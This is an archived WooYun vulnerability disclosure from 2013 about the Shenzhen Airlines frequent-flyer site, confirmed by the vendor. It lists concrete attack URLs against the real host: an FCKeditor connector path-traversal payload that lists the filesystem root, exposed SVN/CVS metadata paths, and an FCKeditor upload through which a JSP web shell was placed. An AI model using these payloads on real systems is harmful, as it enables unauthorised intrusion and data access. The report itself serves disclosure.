当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-040251

漏洞标题：深圳航空安全漏洞# 某分站安全漏洞

相关厂商：深圳航空

漏洞作者： Coody

提交时间：2013-10-19 03:39

修复时间：2013-12-03 03:40

公开时间：2013-12-03 03:40

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-19： 细节已通知厂商并且等待厂商处理中
2013-10-21： 厂商已经确认，细节仅向厂商公开
2013-10-31： 细节向核心白帽子及相关领域专家公开
2013-11-10： 细节向普通白帽子公开
2013-11-20： 细节向实习白帽子公开
2013-12-03： 细节向公众公开

简要描述：

漏洞礼包

详细说明：

问题站点： 深圳航空常旅客系统 http://ffp.shenzhenair.com/ffp/


0x01:任意文件遍历漏洞
网站目录 http://ffp.shenzhenair.com/ffp/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../
文件系统根目录
http://ffp.shenzhenair.com/ffp/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../../../../../../../../../../


0x02: SVN CVS 信息泄露
http://ffp.shenzhenair.com/ffp/.svn/entries
http://ffp.shenzhenair.com/ffp/CVS/Entries


0x03: fck 文件上传
http://ffp.shenzhenair.com/ffp/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://ffp.shenzhenair.com/ffp/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector
http://ffp.shenzhenair.com/ffp/UserFiles/all/wooyun.txt
说明：测试发现，jsp文件上传成功，但直接访问都会监测当前用户是否为登录状态，及不能直接访问，例如 http://ffp.shenzhenair.com/ffp/UserFiles/all/jspshell.jsp会跳转到http://ffp.shenzhenair.com/ffp/timeout.shtml?url=/UserFiles/all/jspshell.jsp

漏洞证明：

0x01:任意文件遍历漏洞
QQ图片20131018214046.jpg







QQ图片20131018214156.jpg





0x02: SVN CVS 信息泄露
QQ图片20131018214405.jpg







QQ图片20131018214413.jpg





0x03: fck 文件上传
QQ图片20131018215230.jpg







QQ图片20131018215324.jpg




说明：



QQ图片20131018215952.jpg







QQ图片20131018220110.jpg

修复方案：

请自行删除UserFiles文件夹中all和image里的jsp文件

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2013-10-21 12:51

厂商回复：

感谢您对深航信息系统的关注和帮助，我们将尽快排查程序修补漏洞。

最新状态：

暂无